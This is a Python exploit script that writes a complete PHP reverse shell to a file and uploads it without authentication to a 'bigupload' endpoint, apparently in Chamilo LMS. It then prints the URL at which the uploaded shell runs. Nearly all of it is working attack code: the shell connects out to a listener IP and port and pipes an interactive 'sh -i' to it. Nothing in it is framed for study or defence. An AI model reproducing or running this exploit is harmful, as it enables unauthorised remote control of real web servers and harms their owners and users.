import requests
import argparse

# Define PHP payload template with placeholders for IP and port
php_payload_template = """
<?php
$ip = '{ip}';
$port = {port};

set_time_limit(0);
$VERSION = "1.0";
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {{
    $pid = pcntl_fork();

    if ($pid == -1) {{
        printit("ERROR: Can't fork");
        exit(1);
    }}

    if ($pid) {{
        exit(0);  # Parent exits
    }}
    if (posix_setsid() == -1) {{
        printit("Error: Can't setsid()");
        exit(1);
    }}

    $daemon = 1;
}} else {{
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {{
    printit("$errstr ($errno)");
    exit(1);
}}

$descriptorspec = array(
   0 => array("pipe", "r"),  # stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  # stdout is a pipe that the child will write to
   2 => array("pipe", "w")   # stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {{
    printit("ERROR: Can't spawn shell");
    exit(1);
}}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {{
    if (feof($sock)) {{
        printit("ERROR: Shell connection terminated");
        break;
    }}

    if (feof($pipes[1])) {{
        printit("ERROR: Shell process terminated");
        break;
    }}

    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {{
        if ($debug) printit("SOCK READ");
        $input = fread($sock, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }}

    if (in_array($pipes[1], $read_a)) {{
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($sock, $input);
    }}

    if (in_array($pipes[2], $read_a)) {{
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($sock, $input);
    }}
}}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {{
    if (!$daemon) {{
        print "$string\n";
    }}
}}
?>
"""

# Save payload to file with user-input IP and port
def save_php_payload(ip, port):
    try:
        php_payload = php_payload_template.format(ip=ip, port=port)
        with open('rce.php', 'w') as f:
            f.write(php_payload)
        print("PHP payload saved successfully.")
    except Exception as e:
        print(f"Error saving PHP payload: {e}")

# Define command-line arguments
parser = argparse.ArgumentParser(description='Exploit for uploading and executing PHP reverse shell')
parser.add_argument('hostname', help='Hostname or IP address of the vulnerable server')
parser.add_argument('--ip', required=True, help='Listener IP address')
parser.add_argument('--port', type=int, required=True, help='Listener port number')
args = parser.parse_args()

# Debugging prints
print(f"Hostname: {args.hostname}, IP: {args.ip}, Port: {args.port}")

# Save PHP payload with user-input IP and port
save_php_payload(args.ip, args.port)

# Construct the URLs with the provided hostname
upload_url = f'http://{args.hostname}/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
shell_url = f'http://{args.hostname}/main/inc/lib/javascript/bigupload/files/rce.php'

# Upload the PHP shell
try:
    with open('rce.php', 'rb') as f:
        files = {'bigUploadFile': f}
        response = requests.post(upload_url, files=files)
    
    if response.status_code == 200:
        print("File uploaded successfully")
    else:
        print(f"Failed to upload file. Status code: {response.status_code}")
except Exception as e:
    print(f"Error uploading file: {e}")

# Execute commands
print(f"Completed. Go to {shell_url} to execute the shell")